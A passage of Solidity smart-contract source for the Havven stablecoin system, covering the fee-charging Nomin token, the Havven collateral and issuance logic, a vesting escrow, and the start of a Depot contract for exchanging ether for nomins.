tokenState.setAllowance(sender, spender, value);
emitApproval(sender, spender, value);
return true;
}
event Transfer(address indexed from, address indexed to, uint value);
bytes32 constant TRANSFER_SIG = keccak256("Transfer(address,address,uint256)");
function emitTransfer(address from, address to, uint value) internal {
proxy._emit(abi.encode(value), 3, TRANSFER_SIG, bytes32(from), bytes32(to), 0);
}
event Approval(address indexed owner, address indexed spender, uint value);
bytes32 constant APPROVAL_SIG = keccak256("Approval(address,address,uint256)");
function emitApproval(address owner, address spender, uint value) internal {
proxy._emit(abi.encode(value), 3, APPROVAL_SIG, bytes32(owner), bytes32(spender), 0);
}
event TokenStateUpdated(address newTokenState);
bytes32 constant TOKENSTATEUPDATED_SIG = keccak256("TokenStateUpdated(address)");
function emitTokenStateUpdated(address newTokenState) internal {
proxy._emit(abi.encode(newTokenState), 1, TOKENSTATEUPDATED_SIG, 0, 0, 0);
}
}
contract FeeToken is ExternStateToken {
uint public transferFeeRate;
uint constant MAX_TRANSFER_FEE_RATE = UNIT / 10;
address public feeAuthority;
address public constant FEE_ADDRESS = 0xfeefeefeefeefeefeefeefeefeefeefeefeefeef;
constructor(address _proxy, TokenState _tokenState, string _name, string _symbol, uint _totalSupply,
uint _transferFeeRate, address _feeAuthority, address _owner)
ExternStateToken(_proxy, _tokenState,
_name, _symbol, _totalSupply,
_owner)
public
{
feeAuthority = _feeAuthority;
require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Constructed transfer fee rate should respect the maximum fee rate");
transferFeeRate = _transferFeeRate;
}
function setTransferFeeRate(uint _transferFeeRate)
external
optionalProxy_onlyOwner
{
require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Transfer fee rate must be below MAX_TRANSFER_FEE_RATE");
transferFeeRate = _transferFeeRate;
emitTransferFeeRateUpdated(_transferFeeRate);
}
function setFeeAuthority(address _feeAuthority)
public
optionalProxy_onlyOwner
{
feeAuthority = _feeAuthority;
emitFeeAuthorityUpdated(_feeAuthority);
}
function transferFeeIncurred(uint value)
public
view
returns (uint)
{
return safeMul_dec(value, transferFeeRate);
}
function transferPlusFee(uint value)
external
view
returns (uint)
{
return safeAdd(value, transferFeeIncurred(value));
}
function amountReceived(uint value)
public
view
returns (uint)
{
return safeDiv_dec(value, safeAdd(UNIT, transferFeeRate));
}
function feePool()
external
view
returns (uint)
{
return tokenState.balanceOf(FEE_ADDRESS);
}
function _internalTransfer(address from, address to, uint amount, uint fee, bytes data)
internal
returns (bool)
{
require(to != address(0), "Cannot transfer to the 0 address");
require(to != address(this), "Cannot transfer to the underlying contract");
require(to != address(proxy), "Cannot transfer to the proxy contract");
tokenState.setBalanceOf(from, safeSub(tokenState.balanceOf(from), safeAdd(amount, fee)));
tokenState.setBalanceOf(to, safeAdd(tokenState.balanceOf(to), amount));
tokenState.setBalanceOf(FEE_ADDRESS, safeAdd(tokenState.balanceOf(FEE_ADDRESS), fee));
callTokenFallbackIfNeeded(from, to, amount, data);
emitTransfer(from, to, amount);
emitTransfer(from, FEE_ADDRESS, fee);
return true;
}
function _transfer_byProxy(address sender, address to, uint value, bytes data)
internal
returns (bool)
{
uint received = amountReceived(value);
uint fee = safeSub(value, received);
return _internalTransfer(sender, to, received, fee, data);
}
function _transferFrom_byProxy(address sender, address from, address to, uint value, bytes data)
internal
returns (bool)
{
uint received = amountReceived(value);
uint fee = safeSub(value, received);
tokenState.setAllowance(from, sender, safeSub(tokenState.allowance(from, sender), value));
return _internalTransfer(from, to, received, fee, data);
}
function _transferSenderPaysFee_byProxy(address sender, address to, uint value, bytes data)
internal
returns (bool)
{
uint fee = transferFeeIncurred(value);
return _internalTransfer(sender, to, value, fee, data);
}
function _transferFromSenderPaysFee_byProxy(address sender, address from, address to, uint value, bytes data)
internal
returns (bool)
{
uint fee = transferFeeIncurred(value);
uint total = safeAdd(value, fee);
tokenState.setAllowance(from, sender, safeSub(tokenState.allowance(from, sender), total));
return _internalTransfer(from, to, value, fee, data);
}
function withdrawFees(address account, uint value)
external
onlyFeeAuthority
returns (bool)
{
require(account != address(0), "Must supply an account address to withdraw fees");
if (value == 0) {
return false;
}
tokenState.setBalanceOf(FEE_ADDRESS, safeSub(tokenState.balanceOf(FEE_ADDRESS), value));
tokenState.setBalanceOf(account, safeAdd(tokenState.balanceOf(account), value));
emitFeesWithdrawn(account, value);
emitTransfer(FEE_ADDRESS, account, value);
return true;
}
function donateToFeePool(uint n)
external
optionalProxy
returns (bool)
{
address sender = messageSender;
uint balance = tokenState.balanceOf(sender);
require(balance != 0, "Must have a balance in order to donate to the fee pool");
tokenState.setBalanceOf(sender, safeSub(balance, n));
tokenState.setBalanceOf(FEE_ADDRESS, safeAdd(tokenState.balanceOf(FEE_ADDRESS), n));
emitFeesDonated(sender, n);
emitTransfer(sender, FEE_ADDRESS, n);
return true;
}
modifier onlyFeeAuthority
{
require(msg.sender == feeAuthority, "Only the fee authority can do this action");
_;
}
event TransferFeeRateUpdated(uint newFeeRate);
bytes32 constant TRANSFERFEERATEUPDATED_SIG = keccak256("TransferFeeRateUpdated(uint256)");
function emitTransferFeeRateUpdated(uint newFeeRate) internal {
proxy._emit(abi.encode(newFeeRate), 1, TRANSFERFEERATEUPDATED_SIG, 0, 0, 0);
}
event FeeAuthorityUpdated(address newFeeAuthority);
bytes32 constant FEEAUTHORITYUPDATED_SIG = keccak256("FeeAuthorityUpdated(address)");
function emitFeeAuthorityUpdated(address newFeeAuthority) internal {
proxy._emit(abi.encode(newFeeAuthority), 1, FEEAUTHORITYUPDATED_SIG, 0, 0, 0);
}
event FeesWithdrawn(address indexed account, uint value);
bytes32 constant FEESWITHDRAWN_SIG = keccak256("FeesWithdrawn(address,uint256)");
function emitFeesWithdrawn(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, FEESWITHDRAWN_SIG, bytes32(account), 0, 0);
}
event FeesDonated(address indexed donor, uint value);
bytes32 constant FEESDONATED_SIG = keccak256("FeesDonated(address,uint256)");
function emitFeesDonated(address donor, uint value) internal {
proxy._emit(abi.encode(value), 2, FEESDONATED_SIG, bytes32(donor), 0, 0);
}
}
contract Nomin is FeeToken {
Havven public havven;
mapping(address => bool) public frozen;
uint constant TRANSFER_FEE_RATE = 15 * UNIT / 10000;
string constant TOKEN_NAME = "Nomin USD";
string constant TOKEN_SYMBOL = "nUSD";
constructor(address _proxy, TokenState _tokenState, Havven _havven,
uint _totalSupply,
address _owner)
FeeToken(_proxy, _tokenState,
TOKEN_NAME, TOKEN_SYMBOL, _totalSupply,
TRANSFER_FEE_RATE,
_havven,
_owner)
public
{
require(_proxy != 0, "_proxy cannot be 0");
require(address(_havven) != 0, "_havven cannot be 0");
require(_owner != 0, "_owner cannot be 0");
frozen[FEE_ADDRESS] = true;
havven = _havven;
}
function setHavven(Havven _havven)
external
optionalProxy_onlyOwner
{
havven = _havven;
setFeeAuthority(_havven);
emitHavvenUpdated(_havven);
}
function transfer(address to, uint value)
public
optionalProxy
returns (bool)
{
require(!frozen[to], "Cannot transfer to frozen address");
bytes memory empty;
return _transfer_byProxy(messageSender, to, value, empty);
}
function transfer(address to, uint value, bytes data)
public
optionalProxy
returns (bool)
{
require(!frozen[to], "Cannot transfer to frozen address");
return _transfer_byProxy(messageSender, to, value, data);
}
function transferFrom(address from, address to, uint value)
public
optionalProxy
returns (bool)
{
require(!frozen[to], "Cannot transfer to frozen address");
bytes memory empty;
return _transferFrom_byProxy(messageSender, from, to, value, empty);
}
function transferFrom(address from, address to, uint value, bytes data)
public
optionalProxy
returns (bool)
{
require(!frozen[to], "Cannot transfer to frozen address");
return _transferFrom_byProxy(messageSender, from, to, value, data);
}
function transferSenderPaysFee(address to, uint value)
public
optionalProxy
returns (bool)
{
require(!frozen[to], "Cannot transfer to frozen address");
bytes memory empty;
return _transferSenderPaysFee_byProxy(messageSender, to, value, empty);
}
function transferSenderPaysFee(address to, uint value, bytes data)
public
optionalProxy
returns (bool)
{
require(!frozen[to], "Cannot transfer to frozen address");
return _transferSenderPaysFee_byProxy(messageSender, to, value, data);
}
function transferFromSenderPaysFee(address from, address to, uint value)
public
optionalProxy
returns (bool)
{
require(!frozen[to], "Cannot transfer to frozen address");
bytes memory empty;
return _transferFromSenderPaysFee_byProxy(messageSender, from, to, value, empty);
}
function transferFromSenderPaysFee(address from, address to, uint value, bytes data)
public
optionalProxy
returns (bool)
{
require(!frozen[to], "Cannot transfer to frozen address");
return _transferFromSenderPaysFee_byProxy(messageSender, from, to, value, data);
}
function unfreezeAccount(address target)
external
optionalProxy_onlyOwner
{
require(frozen[target] && target != FEE_ADDRESS, "Account must be frozen, and cannot be the fee address");
frozen[target] = false;
emitAccountUnfrozen(target);
}
function issue(address account, uint amount)
external
onlyHavven
{
tokenState.setBalanceOf(account, safeAdd(tokenState.balanceOf(account), amount));
totalSupply = safeAdd(totalSupply, amount);
emitTransfer(address(0), account, amount);
emitIssued(account, amount);
}
function burn(address account, uint amount)
external
onlyHavven
{
tokenState.setBalanceOf(account, safeSub(tokenState.balanceOf(account), amount));
totalSupply = safeSub(totalSupply, amount);
emitTransfer(account, address(0), amount);
emitBurned(account, amount);
}
modifier onlyHavven() {
require(Havven(msg.sender) == havven, "Only the Havven contract can perform this action");
_;
}
event HavvenUpdated(address newHavven);
bytes32 constant HAVVENUPDATED_SIG = keccak256("HavvenUpdated(address)");
function emitHavvenUpdated(address newHavven) internal {
proxy._emit(abi.encode(newHavven), 1, HAVVENUPDATED_SIG, 0, 0, 0);
}
event AccountFrozen(address indexed target, uint balance);
bytes32 constant ACCOUNTFROZEN_SIG = keccak256("AccountFrozen(address,uint256)");
function emitAccountFrozen(address target, uint balance) internal {
proxy._emit(abi.encode(balance), 2, ACCOUNTFROZEN_SIG, bytes32(target), 0, 0);
}
event AccountUnfrozen(address indexed target);
bytes32 constant ACCOUNTUNFROZEN_SIG = keccak256("AccountUnfrozen(address)");
function emitAccountUnfrozen(address target) internal {
proxy._emit(abi.encode(), 2, ACCOUNTUNFROZEN_SIG, bytes32(target), 0, 0);
}
event Issued(address indexed account, uint amount);
bytes32 constant ISSUED_SIG = keccak256("Issued(address,uint256)");
function emitIssued(address account, uint amount) internal {
proxy._emit(abi.encode(amount), 2, ISSUED_SIG, bytes32(account), 0, 0);
}
event Burned(address indexed account, uint amount);
bytes32 constant BURNED_SIG = keccak256("Burned(address,uint256)");
function emitBurned(address account, uint amount) internal {
proxy._emit(abi.encode(amount), 2, BURNED_SIG, bytes32(account), 0, 0);
}
}
contract LimitedSetup {
uint setupExpiryTime;
constructor(uint setupDuration)
public
{
setupExpiryTime = now + setupDuration;
}
modifier onlyDuringSetup
{
require(now < setupExpiryTime, "Can only perform this action during setup");
_;
}
}
contract HavvenEscrow is SafeDecimalMath, Owned, LimitedSetup(8 weeks) {
Havven public havven;
mapping(address => uint[2][]) public vestingSchedules;
mapping(address => uint) public totalVestedAccountBalance;
uint public totalVestedBalance;
uint constant TIME_INDEX = 0;
uint constant QUANTITY_INDEX = 1;
uint constant MAX_VESTING_ENTRIES = 20;
constructor(address _owner, Havven _havven)
Owned(_owner)
public
{
havven = _havven;
}
function setHavven(Havven _havven)
external
onlyOwner
{
havven = _havven;
emit HavvenUpdated(_havven);
}
function balanceOf(address account)
public
view
returns (uint)
{
return totalVestedAccountBalance[account];
}
function numVestingEntries(address account)
public
view
returns (uint)
{
return vestingSchedules[account].length;
}
function getVestingScheduleEntry(address account, uint index)
public
view
returns (uint[2])
{
return vestingSchedules[account][index];
}
function getVestingTime(address account, uint index)
public
view
returns (uint)
{
return getVestingScheduleEntry(account,index)[TIME_INDEX];
}
function getVestingQuantity(address account, uint index)
public
view
returns (uint)
{
return getVestingScheduleEntry(account,index)[QUANTITY_INDEX];
}
function getNextVestingIndex(address account)
public
view
returns (uint)
{
uint len = numVestingEntries(account);
for (uint i = 0; i < len; i++) {
if (getVestingTime(account, i) != 0) {
return i;
}
}
return len;
}
function getNextVestingEntry(address account)
public
view
returns (uint[2])
{
uint index = getNextVestingIndex(account);
if (index == numVestingEntries(account)) {
return [uint(0), 0];
}
return getVestingScheduleEntry(account, index);
}
function getNextVestingTime(address account)
external
view
returns (uint)
{
return getNextVestingEntry(account)[TIME_INDEX];
}
function getNextVestingQuantity(address account)
external
view
returns (uint)
{
return getNextVestingEntry(account)[QUANTITY_INDEX];
}
function withdrawHavvens(uint quantity)
external
onlyOwner
onlyDuringSetup
{
havven.transfer(havven, quantity);
}
function purgeAccount(address account)
external
onlyOwner
onlyDuringSetup
{
delete vestingSchedules[account];
totalVestedBalance = safeSub(totalVestedBalance, totalVestedAccountBalance[account]);
delete totalVestedAccountBalance[account];
}
function appendVestingEntry(address account, uint time, uint quantity)
public
onlyOwner
onlyDuringSetup
{
require(now < time, "Time must be in the future");
require(quantity != 0, "Quantity cannot be zero");
totalVestedBalance = safeAdd(totalVestedBalance, quantity);
require(totalVestedBalance <= havven.balanceOf(this), "Must be enough balance in the contract to provide for the vesting entry");
uint scheduleLength = vestingSchedules[account].length;
require(scheduleLength <= MAX_VESTING_ENTRIES, "Vesting schedule is too long");
if (scheduleLength == 0) {
totalVestedAccountBalance[account] = quantity;
} else {
require(getVestingTime(account, numVestingEntries(account) - 1) < time, "Cannot add new vested entries earlier than the last one");
totalVestedAccountBalance[account] = safeAdd(totalVestedAccountBalance[account], quantity);
}
vestingSchedules[account].push([time, quantity]);
}
function addVestingSchedule(address account, uint[] times, uint[] quantities)
external
onlyOwner
onlyDuringSetup
{
for (uint i = 0; i < times.length; i++) {
appendVestingEntry(account, times[i], quantities[i]);
}
}
function vest()
external
{
uint numEntries = numVestingEntries(msg.sender);
uint total;
for (uint i = 0; i < numEntries; i++) {
uint time = getVestingTime(msg.sender, i);
if (time > now) {
break;
}
uint qty = getVestingQuantity(msg.sender, i);
if (qty == 0) {
continue;
}
vestingSchedules[msg.sender][i] = [0, 0];
total = safeAdd(total, qty);
}
if (total != 0) {
totalVestedBalance = safeSub(totalVestedBalance, total);
totalVestedAccountBalance[msg.sender] = safeSub(totalVestedAccountBalance[msg.sender], total);
havven.transfer(msg.sender, total);
emit Vested(msg.sender, now, total);
}
}
event HavvenUpdated(address newHavven);
event Vested(address indexed beneficiary, uint time, uint value);
}
contract Havven is ExternStateToken {
struct IssuanceData {
uint currentBalanceSum;
uint lastAverageBalance;
uint lastModified;
}
mapping(address => IssuanceData) public issuanceData;
IssuanceData public totalIssuanceData;
uint public feePeriodStartTime;
uint public lastFeePeriodStartTime;
uint public feePeriodDuration = 4 weeks;
uint constant MIN_FEE_PERIOD_DURATION = 1 days;
uint constant MAX_FEE_PERIOD_DURATION = 26 weeks;
uint public lastFeesCollected;
mapping(address => bool) public hasWithdrawnFees;
Nomin public nomin;
HavvenEscrow public escrow;
address public oracle;
uint public price;
uint public lastPriceUpdateTime;
uint public priceStalePeriod = 3 hours;
uint public issuanceRatio = UNIT / 5;
uint constant MAX_ISSUANCE_RATIO = UNIT;
mapping(address => bool) public isIssuer;
mapping(address => uint) public nominsIssued;
uint constant HAVVEN_SUPPLY = 1e8 * UNIT;
uint constant ORACLE_FUTURE_LIMIT = 10 minutes;
string constant TOKEN_NAME = "Havven";
string constant TOKEN_SYMBOL = "HAV";
constructor(address _proxy, TokenState _tokenState, address _owner, address _oracle,
uint _price, address[] _issuers, Havven _oldHavven)
ExternStateToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, HAVVEN_SUPPLY, _owner)
public
{
oracle = _oracle;
price = _price;
lastPriceUpdateTime = now;
uint i;
if (_oldHavven == address(0)) {
feePeriodStartTime = now;
lastFeePeriodStartTime = now - feePeriodDuration;
for (i = 0; i < _issuers.length; i++) {
isIssuer[_issuers[i]] = true;
}
} else {
feePeriodStartTime = _oldHavven.feePeriodStartTime();
lastFeePeriodStartTime = _oldHavven.lastFeePeriodStartTime();
uint cbs;
uint lab;
uint lm;
(cbs, lab, lm) = _oldHavven.totalIssuanceData();
totalIssuanceData.currentBalanceSum = cbs;
totalIssuanceData.lastAverageBalance = lab;
totalIssuanceData.lastModified = lm;
for (i = 0; i < _issuers.length; i++) {
address issuer = _issuers[i];
isIssuer[issuer] = true;
uint nomins = _oldHavven.nominsIssued(issuer);
if (nomins == 0) {
continue;
}
(cbs, lab, lm) = _oldHavven.issuanceData(issuer);
nominsIssued[issuer] = nomins;
issuanceData[issuer].currentBalanceSum = cbs;
issuanceData[issuer].lastAverageBalance = lab;
issuanceData[issuer].lastModified = lm;
}
}
}
function setNomin(Nomin _nomin)
external
optionalProxy_onlyOwner
{
nomin = _nomin;
emitNominUpdated(_nomin);
}
function setEscrow(HavvenEscrow _escrow)
external
optionalProxy_onlyOwner
{
escrow = _escrow;
emitEscrowUpdated(_escrow);
}
function setFeePeriodDuration(uint duration)
external
optionalProxy_onlyOwner
{
require(MIN_FEE_PERIOD_DURATION <= duration && duration <= MAX_FEE_PERIOD_DURATION,
"Duration must be between MIN_FEE_PERIOD_DURATION and MAX_FEE_PERIOD_DURATION");
feePeriodDuration = duration;
emitFeePeriodDurationUpdated(duration);
rolloverFeePeriodIfElapsed();
}
function setOracle(address _oracle)
external
optionalProxy_onlyOwner
{
oracle = _oracle;
emitOracleUpdated(_oracle);
}
function setPriceStalePeriod(uint time)
external
optionalProxy_onlyOwner
{
priceStalePeriod = time;
}
function setIssuanceRatio(uint _issuanceRatio)
external
optionalProxy_onlyOwner
{
require(_issuanceRatio <= MAX_ISSUANCE_RATIO, "New issuance ratio must be less than or equal to MAX_ISSUANCE_RATIO");
issuanceRatio = _issuanceRatio;
emitIssuanceRatioUpdated(_issuanceRatio);
}
function setIssuer(address account, bool value)
external
optionalProxy_onlyOwner
{
isIssuer[account] = value;
emitIssuersUpdated(account, value);
}
function issuanceCurrentBalanceSum(address account)
external
view
returns (uint)
{
return issuanceData[account].currentBalanceSum;
}
function issuanceLastAverageBalance(address account)
external
view
returns (uint)
{
return issuanceData[account].lastAverageBalance;
}
function issuanceLastModified(address account)
external
view
returns (uint)
{
return issuanceData[account].lastModified;
}
function totalIssuanceCurrentBalanceSum()
external
view
returns (uint)
{
return totalIssuanceData.currentBalanceSum;
}
function totalIssuanceLastAverageBalance()
external
view
returns (uint)
{
return totalIssuanceData.lastAverageBalance;
}
function totalIssuanceLastModified()
external
view
returns (uint)
{
return totalIssuanceData.lastModified;
}
function transfer(address to, uint value)
public
returns (bool)
{
bytes memory empty;
return transfer(to, value, empty);
}
function transfer(address to, uint value, bytes data)
public
optionalProxy
returns (bool)
{
address sender = messageSender;
require(nominsIssued[sender] == 0 || value <= transferableHavvens(sender), "Value to transfer exceeds available havvens");
_transfer_byProxy(messageSender, to, value, data);
return true;
}
function transferFrom(address from, address to, uint value)
public
returns (bool)
{
bytes memory empty;
return transferFrom(from, to, value, empty);
}
function transferFrom(address from, address to, uint value, bytes data)
public
optionalProxy
returns (bool)
{
address sender = messageSender;
require(nominsIssued[from] == 0 || value <= transferableHavvens(from), "Value to transfer exceeds available havvens");
_transferFrom_byProxy(messageSender, from, to, value, data);
return true;
}
function withdrawFees()
external
optionalProxy
{
address sender = messageSender;
rolloverFeePeriodIfElapsed();
require(!nomin.frozen(sender), "Cannot deposit fees into frozen accounts");
updateIssuanceData(sender, nominsIssued[sender], nomin.totalSupply());
require(!hasWithdrawnFees[sender], "Fees have already been withdrawn in this period");
uint feesOwed;
uint lastTotalIssued = totalIssuanceData.lastAverageBalance;
if (lastTotalIssued > 0) {
feesOwed = safeDiv_dec(
safeMul_dec(issuanceData[sender].lastAverageBalance, lastFeesCollected),
lastTotalIssued
);
}
hasWithdrawnFees[sender] = true;
if (feesOwed != 0) {
nomin.withdrawFees(sender, feesOwed);
}
emitFeesWithdrawn(messageSender, feesOwed);
}
function updateIssuanceData(address account, uint preBalance, uint lastTotalSupply)
internal
{
totalIssuanceData = computeIssuanceData(lastTotalSupply, totalIssuanceData);
if (issuanceData[account].lastModified < feePeriodStartTime) {
hasWithdrawnFees[account] = false;
}
issuanceData[account] = computeIssuanceData(preBalance, issuanceData[account]);
}
function computeIssuanceData(uint preBalance, IssuanceData preIssuance)
internal
view
returns (IssuanceData)
{
uint currentBalanceSum = preIssuance.currentBalanceSum;
uint lastAverageBalance = preIssuance.lastAverageBalance;
uint lastModified = preIssuance.lastModified;
if (lastModified < feePeriodStartTime) {
if (lastModified < lastFeePeriodStartTime) {
lastAverageBalance = preBalance;
} else {
uint timeUpToRollover = feePeriodStartTime - lastModified;
uint lastFeePeriodDuration = feePeriodStartTime - lastFeePeriodStartTime;
uint lastBalanceSum = safeAdd(currentBalanceSum, safeMul(preBalance, timeUpToRollover));
lastAverageBalance = lastBalanceSum / lastFeePeriodDuration;
}
currentBalanceSum = safeMul(preBalance, now - feePeriodStartTime);
} else {
currentBalanceSum = safeAdd(
currentBalanceSum,
safeMul(preBalance, now - lastModified)
);
}
return IssuanceData(currentBalanceSum, lastAverageBalance, now);
}
function recomputeLastAverageBalance(address account)
external
returns (uint)
{
updateIssuanceData(account, nominsIssued[account], nomin.totalSupply());
return issuanceData[account].lastAverageBalance;
}
function issueNomins(uint amount)
public
optionalProxy
requireIssuer(messageSender)
{
address sender = messageSender;
require(amount <= remainingIssuableNomins(sender), "Amount must be less than or equal to remaining issuable nomins");
uint lastTot = nomin.totalSupply();
uint preIssued = nominsIssued[sender];
nomin.issue(sender, amount);
nominsIssued[sender] = safeAdd(preIssued, amount);
updateIssuanceData(sender, preIssued, lastTot);
}
function issueMaxNomins()
external
optionalProxy
{
issueNomins(remainingIssuableNomins(messageSender));
}
function burnNomins(uint amount)
external
optionalProxy
{
address sender = messageSender;
uint lastTot = nomin.totalSupply();
uint preIssued = nominsIssued[sender];
nomin.burn(sender, amount);
nominsIssued[sender] = safeSub(preIssued, amount);
updateIssuanceData(sender, preIssued, lastTot);
}
function rolloverFeePeriodIfElapsed()
public
{
if (now >= feePeriodStartTime + feePeriodDuration) {
lastFeesCollected = nomin.feePool();
lastFeePeriodStartTime = feePeriodStartTime;
feePeriodStartTime = now;
emitFeePeriodRollover(now);
}
}
function maxIssuableNomins(address issuer)
view
public
priceNotStale
returns (uint)
{
if (!isIssuer[issuer]) {
return 0;
}
if (escrow != HavvenEscrow(0)) {
uint totalOwnedHavvens = safeAdd(tokenState.balanceOf(issuer), escrow.balanceOf(issuer));
return safeMul_dec(HAVtoUSD(totalOwnedHavvens), issuanceRatio);
} else {
return safeMul_dec(HAVtoUSD(tokenState.balanceOf(issuer)), issuanceRatio);
}
}
function remainingIssuableNomins(address issuer)
view
public
returns (uint)
{
uint issued = nominsIssued[issuer];
uint max = maxIssuableNomins(issuer);
if (issued > max) {
return 0;
} else {
return safeSub(max, issued);
}
}
function collateral(address account)
public
view
returns (uint)
{
uint bal = tokenState.balanceOf(account);
if (escrow != address(0)) {
bal = safeAdd(bal, escrow.balanceOf(account));
}
return bal;
}
function issuanceDraft(address account)
public
view
returns (uint)
{
uint issued = nominsIssued[account];
if (issued == 0) {
return 0;
}
return USDtoHAV(safeDiv_dec(issued, issuanceRatio));
}
function lockedCollateral(address account)
public
view
returns (uint)
{
uint debt = issuanceDraft(account);
uint collat = collateral(account);
if (debt > collat) {
return collat;
}
return debt;
}
function unlockedCollateral(address account)
public
view
returns (uint)
{
uint locked = lockedCollateral(account);
uint collat = collateral(account);
return safeSub(collat, locked);
}
function transferableHavvens(address account)
public
view
returns (uint)
{
uint draft = issuanceDraft(account);
uint collat = collateral(account);
if (draft > collat) {
return 0;
}
uint bal = balanceOf(account);
if (draft > safeSub(collat, bal)) {
return safeSub(collat, draft);
}
return bal;
}
function HAVtoUSD(uint hav_dec)
public
view
priceNotStale
returns (uint)
{
return safeMul_dec(hav_dec, price);
}
function USDtoHAV(uint usd_dec)
public
view
priceNotStale
returns (uint)
{
return safeDiv_dec(usd_dec, price);
}
function updatePrice(uint newPrice, uint timeSent)
external
onlyOracle
{
require(lastPriceUpdateTime < timeSent && timeSent < now + ORACLE_FUTURE_LIMIT,
"Time sent must be bigger than the last update, and must be less than now + ORACLE_FUTURE_LIMIT");
price = newPrice;
lastPriceUpdateTime = timeSent;
emitPriceUpdated(newPrice, timeSent);
rolloverFeePeriodIfElapsed();
}
function priceIsStale()
public
view
returns (bool)
{
return safeAdd(lastPriceUpdateTime, priceStalePeriod) < now;
}
modifier requireIssuer(address account)
{
require(isIssuer[account], "Must be issuer to perform this action");
_;
}
modifier onlyOracle
{
require(msg.sender == oracle, "Must be oracle to perform this action");
_;
}
modifier priceNotStale
{
require(!priceIsStale(), "Price must not be stale to perform this action");
_;
}
event PriceUpdated(uint newPrice, uint timestamp);
bytes32 constant PRICEUPDATED_SIG = keccak256("PriceUpdated(uint256,uint256)");
function emitPriceUpdated(uint newPrice, uint timestamp) internal {
proxy._emit(abi.encode(newPrice, timestamp), 1, PRICEUPDATED_SIG, 0, 0, 0);
}
event IssuanceRatioUpdated(uint newRatio);
bytes32 constant ISSUANCERATIOUPDATED_SIG = keccak256("IssuanceRatioUpdated(uint256)");
function emitIssuanceRatioUpdated(uint newRatio) internal {
proxy._emit(abi.encode(newRatio), 1, ISSUANCERATIOUPDATED_SIG, 0, 0, 0);
}
event FeePeriodRollover(uint timestamp);
bytes32 constant FEEPERIODROLLOVER_SIG = keccak256("FeePeriodRollover(uint256)");
function emitFeePeriodRollover(uint timestamp) internal {
proxy._emit(abi.encode(timestamp), 1, FEEPERIODROLLOVER_SIG, 0, 0, 0);
}
event FeePeriodDurationUpdated(uint duration);
bytes32 constant FEEPERIODDURATIONUPDATED_SIG = keccak256("FeePeriodDurationUpdated(uint256)");
function emitFeePeriodDurationUpdated(uint duration) internal {
proxy._emit(abi.encode(duration), 1, FEEPERIODDURATIONUPDATED_SIG, 0, 0, 0);
}
event FeesWithdrawn(address indexed account, uint value);
bytes32 constant FEESWITHDRAWN_SIG = keccak256("FeesWithdrawn(address,uint256)");
function emitFeesWithdrawn(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, FEESWITHDRAWN_SIG, bytes32(account), 0, 0);
}
event OracleUpdated(address newOracle);
bytes32 constant ORACLEUPDATED_SIG = keccak256("OracleUpdated(address)");
function emitOracleUpdated(address newOracle) internal {
proxy._emit(abi.encode(newOracle), 1, ORACLEUPDATED_SIG, 0, 0, 0);
}
event NominUpdated(address newNomin);
bytes32 constant NOMINUPDATED_SIG = keccak256("NominUpdated(address)");
function emitNominUpdated(address newNomin) internal {
proxy._emit(abi.encode(newNomin), 1, NOMINUPDATED_SIG, 0, 0, 0);
}
event EscrowUpdated(address newEscrow);
bytes32 constant ESCROWUPDATED_SIG = keccak256("EscrowUpdated(address)");
function emitEscrowUpdated(address newEscrow) internal {
proxy._emit(abi.encode(newEscrow), 1, ESCROWUPDATED_SIG, 0, 0, 0);
}
event IssuersUpdated(address indexed account, bool indexed value);
bytes32 constant ISSUERSUPDATED_SIG = keccak256("IssuersUpdated(address,bool)");
function emitIssuersUpdated(address account, bool value) internal {
proxy._emit(abi.encode(), 3, ISSUERSUPDATED_SIG, bytes32(account), bytes32(value ? 1 : 0), 0);
}
}
contract Depot is SafeDecimalMath, SelfDestructible, Pausable {
Havven public havven;
Nomin public nomin;
address public fundsWallet;
address public oracle;
uint public constant ORACLE_FUTURE_LIMIT = 10 minutes;
uint public priceStalePeriod = 3 hours;
uint public lastPriceUpdateTime;
uint public usdToHavPrice;
uint public usdToEthPrice;
struct nominDeposit {
address user;
uint amount;
}
mapping(uint => nominDeposit) public deposits;
uint public depositStartIndex;
uint public depositEndIndex;
uint public totalSellableDeposits;
uint public minimumDepositAmount = 50 * UNIT;
mapping(address => uint) public smallDeposits;
constructor(
address _owner,
address _fundsWallet,
Havven _havven,
Nomin _nomin,
address _oracle,
uint _usdToEthPrice,
uint _usdToHavPrice
)
SelfDestructible(_owner)
Pausable(_owner)
public
{
fundsWallet = _fundsWallet;
havven = _havven;
nomin = _nomin;
oracle = _oracle;
usdToEthPrice = _usdToEthPrice;
usdToHavPrice = _usdToHavPrice;
lastPriceUpdateTime = now;
}
function setFundsWallet(address _fundsWallet)
external
onlyOwner
{
fundsWallet = _fundsWallet;
emit FundsWalletUpdated(fundsWallet);
}
function setOracle(address _oracle)
external
onlyOwner
{
oracle = _oracle;
emit OracleUpdated(oracle);
}
function setNomin(Nomin _nomin)
external
onlyOwner
{
nomin = _nomin;
emit NominUpdated(_nomin);
}
function setHavven(Havven _havven)
external
onlyOwner
{
havven = _havven;
emit HavvenUpdated(_havven);
}
function setPriceStalePeriod(uint _time)
external
onlyOwner
{
priceStalePeriod = _time;
emit PriceStalePeriodUpdated(priceStalePeriod);
}
function setMinimumDepositAmount(uint _amount)
external
onlyOwner
{
require(_amount > 1 * UNIT);
minimumDepositAmount = _amount;
emit MinimumDepositAmountUpdated(minimumDepositAmount);
}
function updatePrices(uint newEthPrice, uint newHavvenPrice, uint timeSent)
external
onlyOracle
{
require(lastPriceUpdateTime < timeSent, "Time must be later than last update");
require(timeSent < (now + ORACLE_FUTURE_LIMIT), "Time must be less than now + ORACLE_FUTURE_LIMIT");
usdToEthPrice = newEthPrice;
usdToHavPrice = newHavvenPrice;
lastPriceUpdateTime = timeSent;
emit PricesUpdated(usdToEthPrice, usdToHavPrice, lastPriceUpdateTime);
}
function ()
external
payable
{
exchangeEtherForNomins();
}
function exchangeEtherForNomins()
public
payable
pricesNotStale
notPaused
returns (uint)
{
uint ethToSend;
uint requestedToPurchase = safeMul_dec(msg.value, usdToEthPrice);
uint remainingToFulfill = requestedToPurchase;
for (uint i = depositStartIndex; remainingToFulfill > 0 && i < depositEndIndex; i++) {
nominDeposit memory deposit = deposits[i];
if (deposit.user == address(0)) {
depositStartIndex = safeAdd(depositStartIndex, 1);
} else {
if (deposit.amount > remainingToFulfill) {
